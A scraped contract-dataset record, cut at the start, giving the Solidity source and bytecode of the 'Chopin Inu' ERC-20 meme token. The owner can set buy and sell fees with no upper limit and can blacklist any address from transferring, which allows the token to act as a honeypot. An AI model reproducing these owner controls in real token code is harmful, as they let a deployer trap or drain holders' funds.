24ae816121be565b9050919050565b600060208201905081810360008301526124ce81612204565b9050919050565b600060208201905081810360008301526124ee81612227565b9050919050565b600060208201905061250a600083018461224a565b92915050565b60006020820190506125256000830184612259565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061255d826126aa565b9150612568836126aa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561259d5761259c612750565b5b828201905092915050565b60006125b3826126aa565b91506125be836126aa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125f7576125f6612750565b5b828202905092915050565b600061260d826126aa565b9150612618836126aa565b92508282101561262b5761262a612750565b5b828203905092915050565b60006126418261268a565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156126df5780820151818401526020810190506126c4565b838111156126ee576000848401525b50505050565b60006126ff826126aa565b9150600082141561271357612712612750565b5b600182039050919050565b6000600282049050600182168061273657607f821691505b6020821081141561274a5761274961277f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5b455252524f525d2055736572206e6f74204c6f636b53746174757300000000600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000600082015250565b7f5b455252524f525d204d73672e73656e646572204c6f636b5374617475730000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000600082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b7f5b455252524f525d2055736572204c6f636b5374617475730000000000000000600082015250565b612c3a81612636565b8114612c4557600080fd5b50565b612c5181612654565b8114612c5c57600080fd5b50565b612c688161265e565b8114612c7357600080fd5b50565b612c7f816126aa565b8114612c8a57600080fd5b5056fea2646970667358221220d270c180119807c71698bb20cca74fb506bda8de2be40961db8148b369da62ab64736f6c63430008070033
|
{"success": true, "error": null, "results": {}}
| 5,378 |
0xc81c56744c5488f10abe79508807db7a278a3f2e
|
/**
https://chopininu.com/
https://t.me/ChopinInu
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ChopinInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _FeeoFSell;
uint256 private _FeeOfBuy;
address payable private _feeAddress;
string private constant _name = "Chopin Inu";
string private constant _symbol = "CHOPINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x6a680f0070b007b7b3eBB7Ab8E2b5cDa33e30493);
_FeeOfBuy = 10;
_FeeoFSell = 10;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0);
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _FeeOfBuy;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _FeeoFSell;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/3;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 10000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 10000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setFee(uint256 buyFee,uint256 sellFee) external onlyOwner() {
_FeeOfBuy = buyFee;
_FeeoFSell = sellFee;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a146103ba578063c3c8cd80146103e3578063c9567bf9146103fa578063dd62ed3e14610411578063dd726e7c1461044e5761012a565b8063715018a6146102f95780638da5cb5b1461031057806395d89b411461033b5780639e78fb4f14610366578063a9059cbb1461037d5761012a565b8063273123b7116100e7578063273123b714610228578063313ce5671461025157806346df33b71461027c5780636fc3eaec146102a557806370a08231146102bc5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631bbae6e0146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612607565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906126d1565b6104b4565b60405161018e919061272c565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612756565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612771565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d919061279e565b610591565b60405161021f919061272c565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906127f1565b61066a565b005b34801561025d57600080fd5b5061026661075a565b604051610273919061283a565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612881565b610763565b005b3480156102b157600080fd5b506102ba610815565b005b3480156102c857600080fd5b506102e360048036038101906102de91906127f1565b6108bb565b6040516102f09190612756565b60405180910390f35b34801561030557600080fd5b5061030e61090c565b005b34801561031c57600080fd5b50610325610a5f565b60405161033291906128bd565b60405180910390f35b34801561034757600080fd5b50610350610a88565b60405161035d9190612607565b60405180910390f35b34801561037257600080fd5b5061037b610ac5565b005b34801561038957600080fd5b506103a4600480360381019061039f91906126d1565b610da1565b6040516103b1919061272c565b60405180910390f35b3480156103c657600080fd5b506103e160048036038101906103dc9190612a20565b610dbf565b005b3480156103ef57600080fd5b506103f8610ee9565b005b34801561040657600080fd5b5061040f610f97565b005b34801561041d57600080fd5b5061043860048036038101906104339190612a69565b611261565b6040516104459190612756565b60405180910390f35b34801561045a57600080fd5b5061047560048036038101906104709190612aa9565b6112e8565b005b60606040518060400160405280600a81526020017f43686f70696e20496e7500000000000000000000000000000000000000000000815250905090565b60006104c86104c161138f565b8484611397565b6001905092915050565b6000670de0b6b3a7640000905090565b6104ea61138f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612b35565b60405180910390fd5b662386f26fc1000081111561058e57806010819055505b50565b600061059e848484611560565b61065f846105aa61138f565b61065a8560405180606001604052806028815260200161348060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061061061138f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab59092919063ffffffff16565b611397565b600190509392505050565b61067261138f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f690612b35565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61076b61138f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ef90612b35565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b61081d61138f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a190612b35565b60405180910390fd5b60004790506108b881611b19565b50565b6000610905600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b85565b9050919050565b61091461138f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099890612b35565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f43484f50494e5500000000000000000000000000000000000000000000000000815250905090565b610acd61138f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5190612b35565b60405180910390fd5b600f60149054906101000a900460ff1615610baa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba190612ba1565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c739190612bd6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfe9190612bd6565b6040518363ffffffff1660e01b8152600401610d1b929190612c03565b6020604051808303816000875af1158015610d3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5e9190612bd6565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610db5610dae61138f565b8484611560565b6001905092915050565b610dc761138f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4b90612b35565b60405180910390fd5b60005b8151811015610ee557600160066000848481518110610e7957610e78612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610edd90612c8a565b915050610e57565b5050565b610ef161138f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7590612b35565b60405180910390fd5b6000610f89306108bb565b9050610f9481611bf3565b50565b610f9f61138f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102390612b35565b60405180910390fd5b61106130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611397565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110aa306108bb565b6000806110b5610a5f565b426040518863ffffffff1660e01b81526004016110d796959493929190612d17565b60606040518083038185885af11580156110f5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061111a9190612d8d565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550662386f26fc100006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161121b929190612de0565b6020604051808303816000875af115801561123a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125e9190612e1e565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112f061138f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137490612b35565b60405180910390fd5b81600c8190555080600b819055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611406576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fd90612ebd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c90612f4f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115539190612756565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c690612fe1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361163e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163590613073565b60405180910390fd5b6000811161164b57600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116a257600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117465750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611aa5576000600981905550600c54600a81905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118075750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561185d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118755750600f60179054906101000a900460ff165b156118aa576000611885836108bb565b905060105461189d8284611e6c90919063ffffffff16565b11156118a857600080fd5b505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119555750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119ab5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119c2576000600981905550600b54600a819055505b60006119cd306108bb565b9050600f60159054906101000a900460ff16158015611a3a5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a525750600f60169054906101000a900460ff165b15611aa3576000600382611a6691906130c2565b90508082611a7491906130f3565b9150611a7f81611eca565b611a8882611bf3565b60004790506000811115611aa057611a9f47611b19565b5b50505b505b611ab0838383611f1a565b505050565b6000838311158290611afd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af49190612607565b60405180910390fd5b5060008385611b0c91906130f3565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b81573d6000803e3d6000fd5b5050565b6000600754821115611bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc390613199565b60405180910390fd5b6000611bd6611f2a565b9050611beb8184611f5590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c2b57611c2a6128dd565b5b604051908082528060200260200182016040528015611c595781602001602082028036833780820191505090505b5090503081600081518110611c7157611c70612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d3c9190612bd6565b81600181518110611d5057611d4f612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611db730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611397565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e1b959493929190613277565b600060405180830381600087803b158015611e3557600080fd5b505af1158015611e49573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808284611e7b91906132d1565b905083811015611ec0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb790613373565b60405180910390fd5b8091505092915050565b6001600f60156101000a81548160ff0219169083151502179055506000811115611efc57611efb3061dead83611560565b5b6000600f60156101000a81548160ff02191690831515021790555050565b611f25838383611f9f565b505050565b6000806000611f3761216a565b91509150611f4e8183611f5590919063ffffffff16565b9250505090565b6000611f9783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121c9565b905092915050565b600080600080600080611fb18761222c565b95509550955095509550955061200f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120a485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120f0816122de565b6120fa848361239b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121579190612756565b60405180910390a3505050505050505050565b600080600060075490506000670de0b6b3a7640000905061219e670de0b6b3a7640000600754611f5590919063ffffffff16565b8210156121bc57600754670de0b6b3a76400009350935050506121c5565b81